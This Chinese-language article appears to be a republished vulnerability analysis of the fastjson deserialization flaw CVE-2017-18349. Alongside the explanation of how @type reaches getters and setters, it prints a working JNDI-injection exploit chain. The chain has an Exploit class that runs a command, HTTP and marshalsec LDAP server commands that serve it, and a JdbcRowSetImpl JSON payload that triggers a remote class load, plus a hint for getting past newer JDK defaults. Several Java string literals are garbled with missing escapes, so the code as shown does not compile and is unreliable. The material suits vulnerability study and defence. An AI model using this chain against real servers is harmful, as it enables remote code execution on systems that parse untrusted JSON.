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如何进行fastjson小于1.2.25版本反序列CVE-2017-18349漏洞解析

发布时间:2021-12-17 02:33:39 所属栏目:安全 来源:互联网
导读:如何进行fastjson小于1.2.25版本反序列CVE-2017-18349漏洞分析,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。 下面将对fastjson1.2.25反序列漏洞进行漏洞原理分析、本地调试验证等
如何进行fastjson小于1.2.25版本反序列CVE-2017-18349漏洞分析,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。
 
下面将对fastjson<1.2.25反序列漏洞进行漏洞原理分析、本地调试验证等。
 
(1)影响范围
Fastjson<1.2.25
 
(2)漏洞成因
@type属性:Fastjson支持在json数据中使用@type属性,该json数据会被反序列化成指定的对象类型,在反序列化过程中fastjson会调用parse(jsonStr)函数尝试对对象的属性进行赋值,若对象的javabean存在属性的setter方法则调用set方法,反之调用get方法。
 
import java.util.Map;
 
public class User {
    private String name;
    private Map map;
    public String getName() {
        System.out.println("getName is running ...");
        return name;
    }
    public void setName(String name) {
        System.out.println("setName is running ...");
        this.name = name;
    }
    @Override
    public String toString() {
        return "User{" +
                "name='" + name + ''' +
                '}';
    }
    public Map getmap() {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
        return map;
    }
}
public class Test {
    public static void main(String[] args) {
        String json = "{"@type":"bean.User", "name":"zhangsan"}";
        json = "{"@type":"bean.User", "name":"zhangsan","map":{}}";
        Object obj = JSON.parse(json);
        System.out.println(obj); //输出User{name='zhangsan'},弹出计算器
    }
}
经过代码追踪,发现属性赋值是在FieldDeserializer.java的setValue函数中,因为map属性不存在set方法,故在setValue函数中fieldInfo.getOnly为true,method为getmap方法
 
public void setValue(Object object, Object value) {
    if (value == null //
        && fieldInfo.fieldClass.isPrimitive()) {
        return;
    }
    try {
        Method method = fieldInfo.method;
        if (method != null) {
            if (fieldInfo.getOnly) {//set方法不存在,根据类型调用get方法
                if (fieldInfo.fieldClass == AtomicInteger.class) {
                    AtomicInteger atomic = (AtomicInteger) method.invoke(object);
                    if (atomic != null) {
                        atomic.set(((AtomicInteger) value).get());
                    }
                } else if (fieldInfo.fieldClass == AtomicLong.class) {
                    AtomicLong atomic = (AtomicLong) method.invoke(object);
                    if (atomic != null) {
                        atomic.set(((AtomicLong) value).get());
                    }
                } else if (fieldInfo.fieldClass == AtomicBoolean.class) {
                    AtomicBoolean atomic = (AtomicBoolean) method.invoke(object);
                    if (atomic != null) {
                        atomic.set(((AtomicBoolean) value).get());
                    }
                } else if (Map.class.isAssignableFrom(method.getReturnType())) {
                    Map map = (Map) method.invoke(object);
                    if (map != null) {
                        map.putAll((Map) value);
                    }
                } else {
                    Collection collection = (Collection) method.invoke(object);
                    if (collection != null) {
                        collection.addAll((Collection) value);
                    }
                }
            } else {//set方法存在,调用set方法
                method.invoke(object, value);
            }
            return;
        }
调试可以发现调用链如下:
  
(2)漏洞利用,经过上述分析,满足一下任意条件可进行RCE
 
找到一个类,存在一个属性,属性类型为AtomicInteger、AtomicLong、AtomicBoolean、Map或Collection其中一种类型,定义了属性的get方法但未定义set方法,在get方法中可构造gadget链达到代码执行目的。
 
找到一个类,存在一个属性,定义了set方法,在方法中可构造gadget链达到代码执行目的。
 
找到一个类JdbcRowSetImpl,在变量autoCommit的set函数中,会调用connect函数:
  
connect函数中,会获取private成员变量dataSourceName,作为lookup函数的参数进行服务获取,这时JNDI注入攻击走起:
  
步骤1:启动HTTP服务并放置构造函数具有RCE的攻击类,启动LDAP服务
 
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.rmi.Remote;
import java.rmi.server.UnicastRemoteObject;
import java.util.Hashtable;
 
public class Exploit extends UnicastRemoteObject implements ObjectFactory, Remote {
 
    public Exploit() throws IOException {
        System.out.println("Exploit");
        Runtime.getRuntime().exec("calc");
    }
    
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        System.out.println("getObjectInstance");
        Runtime.getRuntime().exec("calc");
        return null;
    }
}
python -m SimpleHTTPServer 80
java -cp .marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#Exploit 7777
步骤2:触发json解析,实现计算器弹窗
 
String className = "com.sun.rowset.JdbcRowSetImpl";
String dataSourceName = "ldap://127.0.0.1:7777/any";
json = "{"@type":"" + className + ""," + ""dataSourceName":"" + dataSourceName + ""," + ""autoCommit":true" + "}";
//JDK 8u191及以后,默认为false,以下为了调试手工改了配置
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
JSON.parse(json);
针对高版本JDK,默认配置限制了远程factory类的下载,实际环境中可以用LDAP+本地反序列化的方式去进行利用。
 
关于如何进行fastjson小于1.2.25版本反序列CVE-2017-18349漏洞分析问题的解答就分享到这里了,希望以上内容可以对大家有一定的帮助,如果你还有很多疑惑没有解开,可以关注亿速云行业资讯频道了解更多相关知识。

(编辑:温州站长网)

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